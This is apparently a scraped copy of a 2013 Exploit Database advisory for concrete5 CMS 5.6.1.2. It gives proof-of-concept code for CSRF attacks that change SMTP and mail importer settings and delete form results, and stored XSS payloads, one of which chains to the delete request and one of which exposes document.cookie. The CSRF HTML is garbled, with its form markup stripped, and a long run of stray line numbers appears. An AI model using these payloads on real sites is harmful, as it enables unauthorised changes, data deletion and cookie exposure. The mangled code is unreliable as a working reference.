Concrete5 CMS 5.6.1.2 – Multiple Vulnerabilities

Exploit Database
123 阅读

作者： expl0i13r

日期： 2013-06-10
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/26077/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

=============================================================

__ _______ __ ____

\ \ / / | |/ _ \(_) /_ | |___ \

___ \ V / _ __ | | | | | |_ | | __) |_ __

/ _ \ > < | '_ \| | | | | | | || ||__ <| '__|

|__// . \| |_) | | | | |_| | | || |___) | | |

\___| /_/ \_\ | .__/|_|\___/|_||_| |____/|_|

| |

|_|blackpentesters.blogspot.com

=============================================================

###########################################################################################

# Exploit Title: [ concrete5 CMS v5.6.1.2 Multiple CSRF and Stored XSS Vulnerabilities] #

# Date: [2013-6-9] #

# Exploit Author: [expl0i13r] #

# Vendor Homepage: [http://www.concrete5.org/] #

# Software Link: [http://www.concrete5.org/download_file/-/view/51635/8497/] #

# Version: [5.6.1.2] #

# Goole Dork: [Built with concrete5 - an open source CMS] #

# Tested on: [Windows] #

# Contact: expl0i13r@gmail.com #

###########################################################################################

Summary:

========

1. CSRF (Modify SMTP Settings)

2. CSRF (Modify Mail Importers Settings)

3. CSRF (Delete Form Results)

4. Stored XSS

1. CSRF (Modify SMTP Settings):

================================

concrete5 v5.6.1.2 suffers from multiple CSRF vulnerabilities one of which allow an attacker

to modify "SMTP Settings" and "Send Mail Method" available at below URL :

Affected URL:

--------------

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/system/mail/method/

----------------------------------------------------------------------------------------

Note: Below code collects form details,send and update it, when Victim loads this page

----------------------------------------------------------------------------------------

<html>

<head>

function submitform()

{

document.getElementById('myForm').submit();

}

</script>

</head>

<body>

</form>

document.myForm.submit()

</script>

</body>

</html>

2. CSRF (Modify Mail Importer Settings)

=========================================

Below code exploits CSRF vulnerability which allows attacker to Edit and update "Importer Settings" details.

Affected URL :

---------------

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/system/mail/importers/edit_importer/1/

----------------------------------------------------------------------------------------

Note: Below code collects form details,send and update them, when Victim loads this page

----------------------------------------------------------------------------------------

<html>

<head>

function submitform()

{

document.getElementById('myForm').submit();

}

</script>

</head>

<body>

</select>

</select>

</select>

document.myForm.submit()

</script>

</body>

</html>

3. CSRF (Delete Form Results)

===============================

Each Submissions available at "REPORTS" > "Form Results" page has static "qsID" assigned, using which attacker can delete submissions.

Ex.

---

When we install this CMS, "Contact Us" form by default available at URL : http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/blog/hello-world/about/contact-us/

For above "Contact Form", qsID in my case is "1370626098", which can be found at url:

--------------------------------------------------------------------------------------

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/

--------------------------------------------------------------------------------------

<a href="https://www.exploit-db.com/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/?qsID=1370626098&action=deleteFormAnswers" class="btn small error delete-form-answers ccm-button-v2-left">Delete Submissions</a>

------------------------------------------------------------------------------------------------------

In order to exploit this CSRF, attacker must have "qsID" values, for which attacker needs to have at least Limited access to CMS.

Steps:

------

1. Attacker logs in to CMS

2. Navigates to "http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/"

3. Gets Static "qsID" value from source code

4. Use "qsID" to create below CSRF exploit

Code:

-------

<html>

<head>

function delete()

{

# Delete Submissins "Contact Us" page

window.open("http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/?qsID=1370626098&action=deleteFormAnswers")

}

</script>

</head>

</body>

</html>

4. Multiple Stored XSS

=======================

concrete5 CMS also suffers from Stored XSS vulnerability, which can be used to "Delete Form Results"

everytime page is loaded.

Stored XSS-1

============

URL:

----

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/users/add_group/

Vulnerable Parameter:

----------------------

XSS-CSRF Payload:

------------------

"><script>window.open("http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/?qsID=1370626098&action=deleteFormAnswers");alert('Form Result Data Deleted - eXpl0i13r')</script>

Stored XSS-2:

=============

URL:

-----

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/system/attributes/sets/

Vulnerable Parameter:

----------------------

Payload:

---------

"><script>alert('hacked by eXpl0i13r\n'+document.cookie)</script>

##################################

# eXpl0i13r#

# ------------------------------ #

#|blackpentesters.blogspot.com |#

#|infotech-knowledge.blogspot.in|#

# ------------------------------ #

##################################